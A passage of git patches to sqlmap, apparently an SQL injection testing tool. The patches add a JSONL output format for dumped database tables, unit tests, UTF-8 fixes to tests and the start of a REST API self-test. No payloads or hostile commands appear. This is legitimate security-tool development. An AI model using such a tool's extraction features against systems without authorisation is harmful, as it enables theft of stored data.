tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + loaded = json.load(open(path)) + # core shape == API /scan//data, plus a meta wrapper + self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) + self.assertEqual(loaded["data"][0]["value"], "admin") + self.assertEqual(loaded["data"][0]["type_name"], "CURRENT_USER") + self.assertEqual(loaded["meta"]["url"], "http://target/?id=1") + self.assertEqual(loaded["meta"]["api_version"], 2) # MAJOR-only integer, for compatibility checks + self.assertIn("sqlmap_version", loaded["meta"]) + self.assertIn("timestamp", loaded["meta"]) + finally: + conf.url = saved_url + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 403855f7013e4b33ef9a88b5cb184d30d0b664b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:04:39 +0200 Subject: [PATCH 564/853] Adding JSONL as a dump format --- data/txt/sha256sums.txt | 9 ++- lib/core/dump.py | 16 +++- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- tests/test_dump_jsonl.py | 164 +++++++++++++++++++++++++++++++++++++++ 6 files changed, 185 insertions(+), 9 deletions(-) create mode 100644 tests/test_dump_jsonl.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b95a83ed236..16b7af2c651 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,8 +175,8 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -e4b23512625bc377c0e0924d8113c595452320d8c66014828da5d8258a77f55a lib/core/dump.py -23e33f0b457e2a7114c9171ba9b42e1751b71ee3f384bba7fad39e4490adb803 lib/core/enums.py +2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py +6b9932d9c789a0e2ac28a493fb7914f49100a1c91de989bcdb20df9d40648522 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1e2a5277293de9d3d1e65b401013baf1c4033162e580f6891ca6a2686e666894 lib/core/settings.py +72448bcfc929496fb0333480a780163a395f65fff92898ad8108daf54a12799b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -199,7 +199,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -7bc8612fbd7ba390ab19f908c370c126ae66afa200bc7975800599ecbe029f0c lib/parse/cmdline.py +3f298a58a41225ef67c57b2cf08c71f2eacbab8f98463b4461f45933d6a82f69 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -577,6 +577,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +c706c5dad287e2e8cf707f7aa5eeb9394eddc6ef3a4fea809babf3ae77e8d7fa tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py diff --git a/lib/core/dump.py b/lib/core/dump.py index 9d0eb385717..ebc7d0cd041 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -6,6 +6,7 @@ """ import hashlib +import json import os import re import shutil @@ -61,6 +62,7 @@ from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic +from thirdparty.odict import OrderedDict class Dump(object): """ @@ -461,7 +463,7 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) @@ -624,6 +626,7 @@ def dbTableValues(self, tableValues): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] + record = OrderedDict() if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") @@ -674,6 +677,11 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL + record[unsafeSQLIdentificatorNaming(column)] = None + else: + record[unsafeSQLIdentificatorNaming(column)] = getUnicode(info["values"][i]) field += 1 @@ -686,6 +694,8 @@ def dbTableValues(self, tableValues): dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False))) self._write("|", console=console) @@ -695,10 +705,10 @@ def dbTableValues(self, tableValues): rtable.endTransaction() logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") - else: + elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") dumpFP.close() diff --git a/lib/core/enums.py b/lib/core/enums.py index 2e1881f19be..137be5d0293 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -238,6 +238,7 @@ class DUMP_FORMAT(object): CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" + JSONL = "JSONL" class HTTP_HEADER(object): ACCEPT = "Accept" diff --git a/lib/core/settings.py b/lib/core/settings.py index c9e7ef6e371..0c206a5d3b9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.108" +VERSION = "1.10.6.109" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8198ff8ed79..77bcb44db3c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -686,7 +686,7 @@ def cmdLineParser(argv=None): help="Store dumped data to a custom file") general.add_argument("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + help="Dump data format (CSV (default), HTML, SQLITE, JSONL)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py new file mode 100644 index 00000000000..a4432e5f19b --- /dev/null +++ b/tests/test_dump_jsonl.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSONL output of the per-table dumper (Dump.dbTableValues in lib/core/dump.py). + +--dump-format=JSONL writes one self-describing JSON object per row to a +/dump//.jsonl file, streaming-safe (one independent line per +row, no surrounding array/header/footer). These tests pin the contract that an +automated consumer relies on: column order preserved (so it matches the CSV +column order and is reproducible on Python 2's unordered dict), the DB-NULL +marker (" ") mapped to JSON null exactly like --report-json, the empty string +left intact (NOT collapsed to null), and a strict one-object-per-line layout. +""" + +import json +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT + + +class _JsonlDumpCase(unittest.TestCase): + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", "limitStart", "limitStop", "csvDel", "forceDbms", "dbms")) + self._savedKb = dict((k, kb.get(k)) for k in ("forcedDbms", "dbms")) + # A DBMS leaked from an earlier test (e.g. one that uppercases identifiers) would change + # both the on-disk filename and the JSON keys, so pin a neutral, case-preserving back-end. + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-jsonl-test") + conf.dumpFormat = DUMP_FORMAT.JSONL + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _dump(self, table_values): + self.d.dbTableValues(table_values) + db = table_values["__infos__"]["db"] or "All" + path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) + with open(path) as f: + content = f.read() + return content + + def _rows(self, content): + return [json.loads(line) for line in content.splitlines() if line.strip()] + + +class TestJsonlContract(_JsonlDumpCase): + def test_one_object_per_row(self): + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "users"}, + "id": {"length": 2, "values": ["1", "2"]}, + "name": {"length": 6, "values": ["luther", "fluffy"]}, + }) + # exactly N non-empty lines, each terminated by a newline, each a standalone object + lines = content.splitlines() + self.assertEqual(len(lines), 2) + self.assertTrue(content.endswith("\n")) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "name": "luther"}) + self.assertEqual(rows[1], {"id": "2", "name": "fluffy"}) + + def test_no_header_or_footer(self): + # unlike CSV (header row) / HTML (doc scaffold), JSONL must be pure data lines + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1"]}, + }) + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(len(lines), 1) + self.assertEqual(json.loads(lines[0]), {"id": "1"}) + + def test_db_null_becomes_json_null(self): + # sqlmap stores a DB NULL as a single space (" "); the machine format must emit JSON null, + # consistent with --report-json. An empty string is a real value and must stay "". + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "a": {"length": 1, "values": [" "]}, # DB NULL marker + "b": {"length": 1, "values": [""]}, # genuine empty string + "c": {"length": 1, "values": ["x"]}, + }) + row = self._rows(content)[0] + self.assertIsNone(row["a"]) + self.assertEqual(row["b"], "") + self.assertEqual(row["c"], "x") + + def test_missing_value_is_null(self): + # a column whose values list is short for this row index must serialize as null, not crash + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1", "2"]}, + "lagging": {"length": 4, "values": ["only-one"]}, # missing index 1 + }) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "lagging": "only-one"}) + self.assertEqual(rows[1], {"id": "2", "lagging": None}) + + def test_column_order_matches_csv(self): + # The serialized byte stream must keep the (priority-sorted) column order so output is + # reproducible - even on Python 2 where a plain dict would not - and that order must be + # the SAME one CSV uses. Build the input as an OrderedDict so the expectation is fixed, + # then dump the identical data as both JSONL and CSV and compare the column sequences. + def table(): + tv = OrderedDict() + tv["__infos__"] = {"count": 1, "db": "testdb", "table": "t"} + tv["zebra"] = {"length": 1, "values": ["1"]} + tv["alpha"] = {"length": 1, "values": ["2"]} + tv["middle"] = {"length": 1, "values": ["3"]} + return tv + + jsonl_line = [l for l in self._dump(table()).splitlines() if l.strip()][0] + jsonl_order = [k for k, _ in json.loads(jsonl_line, object_pairs_hook=lambda p: p)] + + conf.dumpFormat = DUMP_FORMAT.CSV + csv_path = os.path.join(self.tmp, "testdb", "t.csv") + if os.path.exists(csv_path): + os.remove(csv_path) + self.d.dbTableValues(table()) + with open(csv_path) as f: + csv_header = f.read().splitlines()[0] + csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] + + self.assertEqual(jsonl_order, csv_order) + + def test_unicode_value_not_escaped(self): + # ensure_ascii=False keeps multibyte data readable; it must round-trip through json.loads + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "name": {"length": 6, "values": [u"\u0107evap"]}, + }) + self.assertEqual(self._rows(content)[0]["name"], u"\u0107evap") + + +if __name__ == "__main__": + unittest.main() From d570f8e91f820c818834d63ba0c5a8636b783b64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:09:41 +0200 Subject: [PATCH 565/853] Fixing CI/CD issues --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- tests/test_dump_jsonl.py | 7 +++++-- tests/test_report.py | 4 +++- 4 files changed, 12 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 16b7af2c651..b51b3886c84 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -72448bcfc929496fb0333480a780163a395f65fff92898ad8108daf54a12799b lib/core/settings.py +70ddf88d4efda5486853c3616ba64114757a836640585ddae309dd3d335d697a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -577,7 +577,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -c706c5dad287e2e8cf707f7aa5eeb9394eddc6ef3a4fea809babf3ae77e8d7fa tests/test_dump_jsonl.py +9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py @@ -589,7 +589,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py -48bbe8403fbc52d16998b1af4fe2180d3637add0b14cd16dd71690113e96664f tests/test_report.py +67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c206a5d3b9..d7190320960 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.109" +VERSION = "1.10.6.110" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py index a4432e5f19b..9dc5cac8a2b 100644 --- a/tests/test_dump_jsonl.py +++ b/tests/test_dump_jsonl.py @@ -15,6 +15,7 @@ left intact (NOT collapsed to null), and a strict one-object-per-line layout. """ +import io import json import os import shutil @@ -66,7 +67,9 @@ def _dump(self, table_values): self.d.dbTableValues(table_values) db = table_values["__infos__"]["db"] or "All" path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) - with open(path) as f: + # sqlmap writes the dump file as UTF-8; read it the same way (not the platform default, + # which is cp1252 on Windows CI and would mojibake multibyte values) + with io.open(path, encoding="utf-8") as f: content = f.read() return content @@ -145,7 +148,7 @@ def table(): if os.path.exists(csv_path): os.remove(csv_path) self.d.dbTableValues(table()) - with open(csv_path) as f: + with io.open(csv_path, encoding="utf-8") as f: csv_header = f.read().splitlines()[0] csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] diff --git a/tests/test_report.py b/tests/test_report.py index 86eb9d9cfaa..63c4fd7e06a 100644 --- a/tests/test_report.py +++ b/tests/test_report.py @@ -15,6 +15,7 @@ this design exists to prevent. """ +import io import json import os import sys @@ -200,7 +201,8 @@ def test_file_is_valid_json_with_meta(self): os.close(fd) try: api.writeReportJson(self.c, path) - loaded = json.load(open(path)) + with io.open(path, encoding="utf-8") as f: # explicit UTF-8 + closed handle (no ResourceWarning, no cp1252 on Windows) + loaded = json.load(f) # core shape == API /scan//data, plus a meta wrapper self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) self.assertEqual(loaded["data"][0]["value"], "admin") From 91bf58b54e84b2802650641cefaff60849fa9540 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:58:57 +0200 Subject: [PATCH 566/853] Adding --api-test for CI/CD --- .github/workflows/tests.yml | 7 +- data/txt/sha256sums.txt | 11 +-- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 157 ++++++++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +- sqlmap.py | 5 +- tests/test_openapi_drift.py | 114 ++++++++++++++++++++++++++ 8 files changed, 292 insertions(+), 10 deletions(-) create mode 100644 tests/test_openapi_drift.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 58aeb75b425..18afa00b406 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -47,7 +47,10 @@ jobs: run: python -B -m unittest discover -s tests -p "test_*.py" - name: Smoke test - run: python sqlmap.py --smoke + run: python sqlmap.py --smoke-test - name: Vuln test - run: python sqlmap.py --vuln + run: python sqlmap.py --vuln-test + + - name: API test + run: python sqlmap.py --api-test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b51b3886c84..9ad288a4d73 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -180,7 +180,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -885042ed021e60f1739e2a849e3405cc3a4c2a67a5a169a30399d1c53446460f lib/core/optiondict.py +3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -188,18 +188,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -70ddf88d4efda5486853c3616ba64114757a836640585ddae309dd3d335d697a lib/core/settings.py +d9180ce5490c781b8f8771b0d5754d27f550aae963ad36731e0d0941a0f8590c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -8bbc9312147ee8ca719860bc7ad472eac25230e4d46976fbb405efe43fe15ef6 lib/core/testing.py +daf2ad65fcea430b6272e3c538022c9871fdc3aba78f71669130fb0bc954c78e lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -3f298a58a41225ef67c57b2cf08c71f2eacbab8f98463b4461f45933d6a82f69 lib/parse/cmdline.py +053079fe796dfce09cf94ac6f094043f2dfa393b5631387fadb4f735cf1ac6a4 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -492,7 +492,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -d5128ba488b85080a18df85cc08b58f0baeac59494eb5ef43b9e34d66538f091 sqlmap.py +f8974aac701639b54ca34b0e11803c836e5cb1e1c5a6eaf275315949b6487310 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -585,6 +585,7 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has 205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d9daa2d36fb..c7e8c97177b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -273,6 +273,7 @@ "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "apiTest": "boolean", }, "API": { diff --git a/lib/core/settings.py b/lib/core/settings.py index d7190320960..b5d9d70c9cf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.110" +VERSION = "1.10.6.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index bcb773fa7f2..8493f2cf579 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -6,12 +6,14 @@ """ import doctest +import json import logging import os import random import re import socket import sqlite3 +import subprocess import sys import tempfile import threading @@ -20,17 +22,22 @@ from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import getSafeExString from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round +from lib.core.compat import xrange from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_VERSION def vulnTest(): """ @@ -224,6 +231,156 @@ def _thread(): return retVal +def apiTest(): + """ + Runs a basic live test of the REST API: launches the server in a separate process + ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real + server + client round-trip, without launching an actual scan. A separate process (rather + than an in-process thread) isolates the single-threaded server from the client's GIL and + from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky. + """ + + retVal = True + + # pick a free port the same way vulnTest() does + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, 